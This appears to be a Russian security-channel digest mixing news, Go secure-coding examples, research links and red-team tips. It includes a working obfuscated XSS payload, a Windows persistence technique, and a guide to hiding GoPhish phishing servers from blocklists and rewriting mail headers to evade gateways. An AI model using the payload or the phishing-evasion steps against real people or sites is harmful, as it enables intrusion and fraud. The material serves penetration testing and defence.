www.opennet.ru
Релиз Firefox 140
Состоялся релиз web-браузера Firefox 140. Firefox 140 отнесён к категории веток с длительным сроком поддержки (ESR), обновления для которых выпускаются в течение года. Кроме того, сформированы обновления прошлых веток с длительным сроком поддержки - 115.25.0…
🔗Ссылка:
https://opennet.ru/63457/
https://opennet.ru/63457/
Forwarded from Blue (h/c)at Café
- Ну Го
В последние месяцы сообщество «вайбкодеров» набирает обороты, быстрая разработка прототипов и использование хайповых (или так уже никто не говорит
Далее, я подобрал примеры ошибок, которые допускают не только нейронки, но также и обычные НЕВАЙБ кодеры.
Почему важно? Любая конкатенация строки + ввод = дыра.
// Плохо: fmt.Sprintf + Query
query := fmt.Sprintf("SELECT id, email FROM users WHERE email = '%s'", email)
db.Query(query)
// Правильно: PrepareContext + таймаут + закрытие stmt
ctx, cancel := context.WithTimeout(ctx, 200*time.Millisecond)
defer cancel()
stmt, err := db.PrepareContext(ctx, `
SELECT id, email
FROM users
WHERE email = $1 AND deleted = FALSE
`)
if err != nil { return err }
defer stmt.Close()
row := stmt.QueryRowContext(ctx, email)
(bson.M{"\$where": …})).parser := &jwt.Parser{ValidMethods: []string{"RS256"}}
token, err := parser.ParseWithClaims(tokenStr, &CustomClaims{}, func(t *jwt.Token) (interface{}, error) {
return publicKey, nil
})hdr := (*reflect.SliceHeader)(unsafe.Pointer(&b))
hdr.Len = header.Length
hdr.Cap = header.Length
Только после Code Review - проверка границ, выравнивания и GC-безопасности.
--mode=imports + --mode=versions.Корректная передача context — базовый стандарт зрелых Go-сервисов.
// Создаём контекст с дедлайном для HTTP-запроса
ctx, cancel := context.WithTimeout(parentCtx, 2*time.Second)
defer cancel() // обязательный вызов!
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
_, err := http.DefaultClient.Do(req)
// две горутины одновременно плюсуют visits
var visits int
go func() { visits++ }()
go func() { visits++ }()
Запуск
go test -race в CI обнаружит такие случаиОчень требовательно к ресурсам и не рекомендуется в монолитах или говно-микросервисах
// Правильно:
// С Mutex
var (
visitsMu sync.Mutex
visits int
)
go func() {
visitsMu.Lock()
visits++
visitsMu.Unlock()
}()
// Или атомарно
var visitsAtomic uint64
go func() {
atomic.AddUint64(&visitsAtomic, 1)
}()
Паника в одном handler’е не должна убивать весь HTTP-сервер:
func recoveryMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer func() {
if rec := recover(); rec != nil {
log.Error().
Interface("penic", rec).
Msg("recovered from penic xD in handler")
http.Error(w, "internal error", http.StatusInternalServerError)
}
}()
next.ServeHTTP(w, r)
})
}🗒 Выводы
Их не будет, просто примеры из практики. Смотрите внимательнее, что вам выдаёт chatgpt или аналоги.
Добра и позитива appsec-ам, остальным соболезную
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Proxy Bar
Ды вы охренели !
XSS payload, Cuneiform-alphabet based
#этопотомучтовывцерковьнеходите
XSS payload, Cuneiform-alphabet based
"><img/src=x onerror="𐂃='',𐃨=!𐂃+𐂃,𐂝=!𐃨+𐂃,𐃌=𐂃+{},𐁉=𐃨[𐂃++],𐃵=𐃨[𐂓=𐂃],𐀜=++𐂓+𐂃,𐂠=𐃌[𐂓+𐀜],𐃨[𐂠+=𐃌[𐂃]+(𐃨.𐂝+𐃌)[𐂃]+𐂝[𐀜]+𐁉+𐃵+𐃨[𐂓]+𐂠+𐁉+𐃌[𐂃]+𐃵][𐂠](𐂝[𐂃]+𐂝[𐂓]+𐃨[𐀜]+𐃵+𐁉+'(document.domain)')()"#этопотомучтовывцерковьнеходите
🤯1
Forwarded from purple shift
А помните, мы рассказывали, как злоумышленники могут без авторизации производить перебор доменных пользователей через интерфейс MS-NRPC? На самом деле, это часть большого исследования нашего эксперта Хайдара Кабибо. Исследование посвящено одной из самых сложных технологий в ОС Windows: многоуровневой системе коммуникации Inter-Process Communication (IPC). Частью этой системы является и протокол RPC (Remote Procedure Call), который используется в упомянутой выше атаке.
Недавно Хайдар начал публиковать полную версию своего исследования в виде серии блоговых постов, и вы уже можете ознакомиться с некоторыми из них.
Первая часть представляет общий план исследования: оно покрывает все четыре уровня организации IPC, от самого высокого (DCOM) до технологий уровня ядра (Named Pipes, ALPC).
Во второй части автор разбирает интерфейс RPC и показывает, как создавать собственные RPC-серверы и клиенты.
Третья часть посвящена дескрипторами привязки (Binding Handles), которые используются в RPC для управления соединениями между сервером и клиентом.
А в четвёртой части вы узнаете, как организована безопасность RPC. Здесь и объясняется, почему некоторые действия в этом протоколе можно выполнять с более низким уровнем аутентификации, чем вы ожидали; в частности, интерфейсы многих RPC-северов разрешают доступ безо всякой авторизации вообще.
И это ещё не всё! Продолжение исследования – читайте в блоге Хайдара по мере публикации.
Недавно Хайдар начал публиковать полную версию своего исследования в виде серии блоговых постов, и вы уже можете ознакомиться с некоторыми из них.
Первая часть представляет общий план исследования: оно покрывает все четыре уровня организации IPC, от самого высокого (DCOM) до технологий уровня ядра (Named Pipes, ALPC).
Во второй части автор разбирает интерфейс RPC и показывает, как создавать собственные RPC-серверы и клиенты.
Третья часть посвящена дескрипторами привязки (Binding Handles), которые используются в RPC для управления соединениями между сервером и клиентом.
А в четвёртой части вы узнаете, как организована безопасность RPC. Здесь и объясняется, почему некоторые действия в этом протоколе можно выполнять с более низким уровнем аутентификации, чем вы ожидали; в частности, интерфейсы многих RPC-северов разрешают доступ безо всякой авторизации вообще.
И это ещё не всё! Продолжение исследования – читайте в блоге Хайдара по мере публикации.
Forwarded from Adaptix Framework
AdaptixC2 v0.6 is out
https://github.com/Adaptix-Framework/AdaptixC2
* Обновленная консоль агента с гибкими настройками
* Оповещения в Telegram
* OTP для синхронизации файлов и команд
* Новая тема Dracula
* Обновление до Golang 1.24.4
Полная информация по обновлению: https://adaptix-framework.gitbook.io/adaptix-framework/changelog/v0.5-greater-than-v0.6
https://github.com/Adaptix-Framework/AdaptixC2
* Обновленная консоль агента с гибкими настройками
* Оповещения в Telegram
* OTP для синхронизации файлов и команд
* Новая тема Dracula
* Обновление до Golang 1.24.4
Полная информация по обновлению: https://adaptix-framework.gitbook.io/adaptix-framework/changelog/v0.5-greater-than-v0.6
www.opennet.ru
Уязвимости в пакетных менеджерах Nix, Lix и Guix
В пакетных менеджерах GNU Guix, Nix и Lix выявлены уязвимости (Nix, Guix, Lix), позволяющие выполнить код с правами пользователей, под которыми запускаются сборочные задания (например, nixbld* в Nix/Lix), что может использоваться для записи своих данных в…
🔗Ссылка:
https://opennet.ru/63464/
https://opennet.ru/63464/
Forwarded from RedTeam brazzers (Миша)
Друзья, всем привет! Я наконец-то созрел и конвертировал текст своего выступления на CyberWave в статью. Любуйтесь злоупотреблением символическими ссылками на medium : )
https://cicada-8.medium.com/were-going-the-wrong-way-how-to-abuse-symlinks-and-get-lpe-in-windows-0c598b99125b
https://cicada-8.medium.com/were-going-the-wrong-way-how-to-abuse-symlinks-and-get-lpe-in-windows-0c598b99125b
Medium
We’re going the wrong way! How to abuse symlinks and get LPE in Windows
How to achieve LPE in Windows via symlinks and how we wrote an exploit for Anydesk :)
Forwarded from Proxy Bar
Forwarded from ByTe [ ]f Digital Life
PERSISTENCE
Идея — использовать мало-заметный WinAPI-вызов
Для срабатывания перезапуска необходимо, чтобы перед выключением или рестартом был вызван
Признаки:
Появление ключей
Наличие структуры
https://blog.phantomsec.tools/phantom-persistence "Phantom Persistence | PhantomSec Blog"
Идея — использовать мало-заметный WinAPI-вызов
RegisterApplicationRestart, который штатно предназначен для перезапуска «упавших» приложений, но в связке с «правильным» завершением системы можно превратить его в механизм персистентности.Для срабатывания перезапуска необходимо, чтобы перед выключением или рестартом был вызван
ExitWindowsEx с флагом EWX_RESTARTAPPS (или InitiateShutdown c SHUTDOWN_RESTARTAPPS) — обычное «клик-по-Shutdown» этого не делает.Признаки:
Появление ключей
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\Application Restart #<n> сразу после начала выключения.Наличие структуры
WER_PEB_HEADER_BLOCK в PEB процесса.https://blog.phantomsec.tools/phantom-persistence "Phantom Persistence | PhantomSec Blog"
Forwarded from REDtalk (closed_character)
Всем привет! ❤️ Немного про социалочку.
Когда проводишь проекты по социотехническому тестированию, нередко сталкиваешься с кучей технических нюансов.
❗️Это и попадание в списки подозрительных ресурсов, если вы случайно выкинули GoPhish наружу.
❗️И фильтрация писем почтовыми шлюзами.
❗️И особенности отображения у разных почтовых клиентов.
Сегодня поговорим о том, с чем реально можно сталкнуться на практике. Особенно это актуально, если вы делаете такое впервые.
🔥 Проблема 1. Как не попасть в списки злых хацкеров
Если просто открыть GoPhish в интернет, то через какое-то время ваш IP будет помечен как подозрительный.
💡 Что делаем:
Используем связку из нескольких Nginx-прокси:
• наружу отдаётся только IP внешнего прокси;
• весь трафик уходит по VPN на внутренний сервер с GoPhish;
• админка доступна только из VPN.
Если не хочется поднимать VPN:
На сервере с GoPhish закрываем 443 порт снаружи, кроме ip нашего прокси:
В конфиге Nginx дополнительно прописываем кому можно обращаться к нашей фишинговой странице:
Админку вешаем на 127.0.0.1 и подключаемся так:
Остается только настроить SSL для нашего фишингового домена. Теперь GoPhish не светится наружу, и мы спим спокойно.
🔥 Проблема 2. Спам-фильтры и почтовые шлюзы
Немного теории:
• SPF — указывает, какие IP могут отправлять письма от имени домена.
• DKIM — добавляет цифровую подпись к письмам.
• DMARC — объединяет SPF и DKIM, говорит, что делать с письмами, которые не проходят проверки.
Если вы некорректно настроите данные dns записи, то письма просто не дойдут до адресата.
💡 Что делаем:
Используем SMTP-сервисы с хорошей репутацией. Например, VK WorkSpace.
Схема такая:
• Подключаем фишинговый домен;
• Сервис формирует SPF/DKIM/DMARC;
• Копируем записи в DNS.
Теперь письма проходят по всем стандартам (но это не точно).
Но даже если всё идеально настроено, то ваши фишинговые письма могут быть заблокированы на почтовых шлюзах. Причина - Email-заголовки.
Далее рассмотрим на примере с GoPhish:
Еще немного теории. Сильно не пинайте - это важно для понимания:
• Message-ID - уникальный идентификатор письма, формируется клиентом или сервером, помогает отслеживать сообщения и выстраивать цепочки переписки.
• X-Mailer - указывает на почтовую платформу или внутренний ID отправителя.
Именно они могут стать причиной того, что ваши фишинговы письма не дойдут до цели.
X-Mailer палит GoPhish сразу.
Message-ID генерируется с hostname контейнера или вашего сервера на котором крутиться GoPhish. Почтовые шлюзы могут блокировать письма, если видят несоответствие между Message-ID и доменами из SPF, DKIM, DMARC.
💡 Что делаем:
SMTP Relay с Postfix. GoPhish остаётся «тупым». Он просто отправляет письмо. А контейнер с Postfix:
1. Принимает письмо;
2. Переписывает заголовки;
3. Отправляет дальше на сторонний SMTP - сервис (в нашем случае VK Workspace)
Файл smtp_header_checks:
PS: X-Mailer можно убрать и через GUI GoPhish. А вот Message-ID просто так не убрать.
Письма доходят, заголовки чистые. Все счастливы.
#redteam
Когда проводишь проекты по социотехническому тестированию, нередко сталкиваешься с кучей технических нюансов.
❗️Это и попадание в списки подозрительных ресурсов, если вы случайно выкинули GoPhish наружу.
❗️И фильтрация писем почтовыми шлюзами.
❗️И особенности отображения у разных почтовых клиентов.
Сегодня поговорим о том, с чем реально можно сталкнуться на практике. Особенно это актуально, если вы делаете такое впервые.
Если просто открыть GoPhish в интернет, то через какое-то время ваш IP будет помечен как подозрительный.
Используем связку из нескольких Nginx-прокси:
• наружу отдаётся только IP внешнего прокси;
• весь трафик уходит по VPN на внутренний сервер с GoPhish;
• админка доступна только из VPN.
Если не хочется поднимать VPN:
На сервере с GoPhish закрываем 443 порт снаружи, кроме ip нашего прокси:
sudo iptables -I DOCKER-USER -p tcp --dport 443 ! -s <proxy_ip> -j DROP
В конфиге Nginx дополнительно прописываем кому можно обращаться к нашей фишинговой странице:
allow <proxy_ip>;
deny all;
Админку вешаем на 127.0.0.1 и подключаемся так:
ssh -L 8080:127.0.0.1:8080 user@server_with_gophish
Остается только настроить SSL для нашего фишингового домена. Теперь GoPhish не светится наружу, и мы спим спокойно.
Немного теории:
• SPF — указывает, какие IP могут отправлять письма от имени домена.
• DKIM — добавляет цифровую подпись к письмам.
• DMARC — объединяет SPF и DKIM, говорит, что делать с письмами, которые не проходят проверки.
Если вы некорректно настроите данные dns записи, то письма просто не дойдут до адресата.
Используем SMTP-сервисы с хорошей репутацией. Например, VK WorkSpace.
Схема такая:
• Подключаем фишинговый домен;
• Сервис формирует SPF/DKIM/DMARC;
• Копируем записи в DNS.
Теперь письма проходят по всем стандартам (но это не точно).
Но даже если всё идеально настроено, то ваши фишинговые письма могут быть заблокированы на почтовых шлюзах. Причина - Email-заголовки.
Далее рассмотрим на примере с GoPhish:
Еще немного теории. Сильно не пинайте - это важно для понимания:
• Message-ID - уникальный идентификатор письма, формируется клиентом или сервером, помогает отслеживать сообщения и выстраивать цепочки переписки.
• X-Mailer - указывает на почтовую платформу или внутренний ID отправителя.
Именно они могут стать причиной того, что ваши фишинговы письма не дойдут до цели.
X-Mailer: gophish
Message-ID: <1743...@hostname>
X-Mailer палит GoPhish сразу.
Message-ID генерируется с hostname контейнера или вашего сервера на котором крутиться GoPhish. Почтовые шлюзы могут блокировать письма, если видят несоответствие между Message-ID и доменами из SPF, DKIM, DMARC.
SMTP Relay с Postfix. GoPhish остаётся «тупым». Он просто отправляет письмо. А контейнер с Postfix:
1. Принимает письмо;
2. Переписывает заголовки;
3. Отправляет дальше на сторонний SMTP - сервис (в нашем случае VK Workspace)
Файл smtp_header_checks:
/^Message-ID:/ REPLACE Message-ID: <CAFEBABE.20250324T1830@your_domain>
PS: X-Mailer можно убрать и через GUI GoPhish. А вот Message-ID просто так не убрать.
Письма доходят, заголовки чистые. Все счастливы.
#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from REDtalk (closed_character)
<продолжение>
🔥 Проблема 3. Outlook и картинки
Письмо уходит, всё работает. Верстаем шаблон, отправляем и…
Наши картинки не отображаются. Почему? Outlook по умолчанию блокирует все внешние изображения.
💡 Что делаем:
Первое, что можно попробовать - Base64:
Способ хороший и отработает на большинстве современных почтовых клиентах. Однако Outlook все равно посчитает это внешним ресурсом и заблокирует.
Второй способ - Content-ID (CID).
Картинку прикладываем к письму как вложение, а в HTML пишем:
⸻
На этом все друзья!🙂
А с какими проблемами сталкивались вы ? Делитесь в комментариях, обсудим вместе.🤗
Ну и по традиции не забудьте подписаться на канал, если еще этого не сделали. И до новых встреч!
#redteam
Письмо уходит, всё работает. Верстаем шаблон, отправляем и…
❗ Для защиты вашей конфиденциальности изображения не загружены
Наши картинки не отображаются. Почему? Outlook по умолчанию блокирует все внешние изображения.
Первое, что можно попробовать - Base64:
<img src="data:image/png;base64,iVBORw...">
Способ хороший и отработает на большинстве современных почтовых клиентах. Однако Outlook все равно посчитает это внешним ресурсом и заблокирует.
Второй способ - Content-ID (CID).
Картинку прикладываем к письму как вложение, а в HTML пишем:
<img src="cid:image.jpg">
⸻
На этом все друзья!
А с какими проблемами сталкивались вы ? Делитесь в комментариях, обсудим вместе.
Ну и по традиции не забудьте подписаться на канал, если еще этого не сделали. И до новых встреч!
#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Ralf Hacker Channel (Ralf Hacker)
Сразу две статьи от SpecterOps, можно считать, одна - продолжение другой. В блоге разбирают атаки на трасты AD, но с упором на BloodHound CE.
1. Good Fences Make Good Neighbors: New AD Trusts Attack Paths in BloodHound
2. Untrustworthy Trust Builders: Account Operators Replicating Trust Attack (AORTA)
Даже если не собираетесь погружаться в BHCE, стоит просто бегло почитать))
#pentest #redteam #ad #trust #lateralmovement #bloodhound
1. Good Fences Make Good Neighbors: New AD Trusts Attack Paths in BloodHound
2. Untrustworthy Trust Builders: Account Operators Replicating Trust Attack (AORTA)
Даже если не собираетесь погружаться в BHCE, стоит просто бегло почитать))
#pentest #redteam #ad #trust #lateralmovement #bloodhound
SpecterOps
Good Fences Make Good Neighbors: New AD Trusts Attack Paths in BloodHound - SpecterOps
The ability of an attacker controlling one domain to compromise another through an Active Directory (AD) trust depends on the trust type and configuration. To better map these relationships and make it easier to identify cross-domain attack paths, we are…